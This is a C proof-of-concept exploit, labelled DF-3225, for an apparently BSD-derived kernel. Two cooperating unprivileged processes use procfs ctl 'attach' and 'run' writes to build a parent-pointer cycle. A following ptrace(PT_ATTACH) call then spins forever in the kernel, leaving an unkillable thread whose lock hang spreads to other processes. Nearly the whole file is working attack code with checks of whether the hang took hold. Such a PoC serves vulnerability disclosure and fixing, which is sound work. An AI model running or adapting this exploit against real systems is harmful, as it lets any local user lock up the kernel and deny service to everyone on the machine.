/*
 * DF-3225 PoC: procfs ATTACH lacks the ptrace tracer-cycle check
 * (sys_process.c:193-199) -> two cooperating unprivileged same-uid
 * processes build a p_pptr CYCLE; the next ptrace(PT_ATTACH, x) from
 * either spins forever in the kernel ancestor walk while holding x's
 * p_token: permanent kernel livelock, unkillable thread, and the wedge
 * spreads to anything needing C's p_token (e.g. kill(C)).
 *
 * The ctl WRITER becomes the new parent (proc_reparent(p, curp)), so:
 *   A --"attach"--> /proc/B/ctl : B.p_pptr = A   (B stopped)
 *   A --"run"-----> /proc/B/ctl : B resumes, still traced by A
 *   B --"attach"--> /proc/A/ctl : A.p_pptr = B   (A stopped)  => CYCLE
 *   B --"run"-----> /proc/A/ctl : A resumes, still traced by B
 *   A: ptrace(PT_ATTACH, C)     : sys_process.c:194 walk never exits
 */
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <err.h>
#include <fcntl.h>
#include <unistd.h>

static int
ctl(pid_t pid, const char *cmd)
{
	char path[64];
	int fd, n;

	snprintf(path, sizeof(path), "/proc/%d/ctl", pid);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "[ctl] open %s: %s\n", path, strerror(errno));
		return (-1);
	}
	n = write(fd, cmd, strlen(cmd));
	close(fd);
	return (n);
}

int
main(void)
{
	pid_t a, b, c;
	int p2a[2], b2m[2];	/* (unused go pipe), B->main cycle-done */
	char ch;

	fprintf(stderr, "df3225 uid %d: building p_pptr cycle via procfs "
		"ctl attach\n", getuid());

	if (pipe(p2a) || pipe(b2m))
		err(1, "pipe");

	c = fork();
	if (c == 0) {
		signal(SIGTERM, SIG_DFL);
		for (;;)
			pause();	/* C: untraced ptrace target */
		_exit(0);
	}

	b = fork();
	if (b == 0) {
		/*
		 * B: gets attached+run by A, then attaches A back.
		 * Arm SA_NOCLDSTOP first: proc_stop()'s completion sends
		 * SIGCHLD to A's new parent (B); B is P_TRACED by then, so
		 * the SIGCHLD would stop B for its tracer before it can
		 * write "run" (observed: mutual-stop freeze).
		 */
		{
			struct sigaction sa;
			memset(&sa, 0, sizeof(sa));
			sa.sa_handler = SIG_DFL;
			sa.sa_flags = SA_NOCLDSTOP;
			sigaction(SIGCHLD, &sa, NULL);
		}
		char apid[16];
		int fd = -1;
		while (fd < 0) {
			fd = open("/tmp/df3225.apid", O_RDONLY);
			if (fd < 0)
				usleep(50000);
		}
		read(fd, apid, sizeof(apid) - 1);
		close(fd);
		apid[sizeof(apid)-1] = 0;
		pid_t A = (pid_t)atoi(apid);

		/* wait until A has attached us: we get stopped; after A's
		 * "run" we continue past this sleep */
		sleep(2);
		fprintf(stderr, "[B %d] attaching A (%d) back -> cycle\n",
			getpid(), A);
		if (ctl(A, "attach\n") <= 0)
			err(1, "B attach A");
		fprintf(stderr, "[B] running A again\n");
		if (ctl(A, "run\n") <= 0)
			err(1, "B run A");
		ch = 1;
		write(b2m[1], &ch, 1);	/* cycle done */
		for (;;)
			pause();
		_exit(0);
	}

	a = fork();
	if (a == 0) {
		close(p2a[0]);
		sleep(1);	/* let B publish/let main note us */
		fprintf(stderr, "[A %d] attaching B (%d)\n", getpid(), b);
		if (ctl(b, "attach\n") <= 0)
			err(1, "A attach B");
		fprintf(stderr, "[A] running B\n");
		if (ctl(b, "run\n") <= 0)
			err(1, "A run B");
		/* wait for main's go (cycle complete) */
		{
			int fd = open("/tmp/df3225.go", O_RDONLY);
			while (fd < 0) {
				usleep(50000);
				fd = open("/tmp/df3225.go", O_RDONLY);
			}
			close(fd);
		}
		fprintf(stderr, "[A %d] ptrace(PT_ATTACH, %d): if "
			"vulnerable, never returns\n", getpid(), c);
		fflush(stderr);
		ptrace(PT_ATTACH, c, (char *)1, 0);
		fprintf(stderr, "[A] RETURNED -- not vulnerable?\n");
		_exit(0);
	}

	fprintf(stderr, "[main] A=%d B=%d C=%d\n", a, b, c);
	{
		int fd = open("/tmp/df3225.apid", O_CREAT|O_WRONLY|O_TRUNC,
			      0644);
		char buf[16];
		int len = snprintf(buf, sizeof(buf), "%d\n", a);
		write(fd, buf, len);
		close(fd);
	}

	/* wait for B to complete the cycle */
	if (read(b2m[0], &ch, 1) == 1)
		fprintf(stderr, "[main] B reported cycle complete\n");
	else
		fprintf(stderr, "[main] WARNING: no cycle-done byte\n");
	usleep(300000);

	close(open("/tmp/df3225.go", O_CREAT|O_WRONLY|O_TRUNC, 0644));
	fprintf(stderr, "[main] go marker set; A enters ptrace walk\n");

	sleep(5);
	fprintf(stderr, "[main] after 5s: kill -9 A (%d)\n", a);
	kill(a, SIGKILL);
	sleep(3);
	if (kill(a, 0) == 0 || errno != ESRCH)
		fprintf(stderr, "[main] A SURVIVED SIGKILL -> stuck in "
			"kernel spin\n");
	else
		fprintf(stderr, "[main] A died (not stuck?)\n");
	fprintf(stderr, "[main] now kill -9 C (%d): needs C.p_token held "
		"by spinning A -- expect HANG below (no further output)\n", c);
	fflush(stderr);
	kill(c, SIGKILL);
	sleep(2);
	fprintf(stderr, "[main] kill(C) returned -- wedge did not spread\n");
	return 0;
}
